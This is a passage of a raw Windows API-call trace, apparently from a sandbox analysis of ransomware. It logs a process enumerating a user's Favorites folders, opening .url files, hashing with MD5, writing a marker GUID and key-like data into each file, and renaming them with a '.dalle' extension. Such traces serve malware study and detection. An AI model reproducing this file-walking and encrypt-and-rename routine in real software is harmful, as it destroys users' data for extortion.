0x307f550 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.280] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0121.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0121.280] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.280] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.280] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.280] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.280] PathFindFileNameW (pszPath="") returned="" [0121.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.281] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.281] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0121.281] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0121.281] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0121.281] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0121.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.282] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=236) returned 1 [0121.282] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.284] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.284] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.285] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xec, lpOverlapped=0x0) returned 1 [0121.285] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.285] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.285] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.285] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.286] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.286] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.286] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.286] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.286] GetLastError () returned 0x0 [0121.286] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.286] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.286] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.286] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.286] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.286] CloseHandle (hObject=0x618) returned 1 [0121.287] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.dalle")) returned 1 [0121.288] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0121.288] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0121.288] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.289] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=226) returned 1 [0121.289] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.291] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.291] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.291] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xe2, lpOverlapped=0x0) returned 1 [0121.291] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.291] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.292] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.292] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.292] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.292] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.292] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.292] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.292] GetLastError () returned 0x0 [0121.293] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.293] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.293] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.293] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.293] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.293] CloseHandle (hObject=0x618) returned 1 [0121.293] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.dalle")) returned 1 [0121.295] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0121.295] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.295] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.295] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0121.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0121.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.295] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.295] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.295] PathFindFileNameW (pszPath="") returned="" [0121.295] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.296] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.296] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.296] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0121.296] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.296] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.296] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.296] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0121.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.297] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.297] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.298] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.298] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.299] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.299] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.299] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.300] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.300] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.300] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.300] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.300] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.300] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.300] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.300] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.301] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.301] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.301] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.301] GetLastError () returned 0x0 [0121.301] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.301] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.301] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.301] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.301] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.301] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.301] WriteFile (in: hFile=0x618, lpBuffer=0x2f61740*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f61740*, lpNumberOfBytesWritten=0x388fb24*=0x80, lpOverlapped=0x0) returned 1 [0121.301] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.301] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.301] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.301] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.301] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.301] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.301] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.301] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.301] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.301] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.301] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.302] CloseHandle (hObject=0x618) returned 1 [0121.302] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.302] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.302] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.302] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.dalle")) returned 1 [0121.303] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.303] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.304] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.304] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0121.304] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.304] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xbe) returned 0x2ff6cb8 [0121.304] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.304] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0121.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.304] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=133) returned 1 [0121.304] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.306] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.306] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.307] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.307] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.307] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.307] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x85, lpOverlapped=0x0) returned 1 [0121.307] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.307] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.307] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.307] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.307] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.308] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.308] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.308] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, 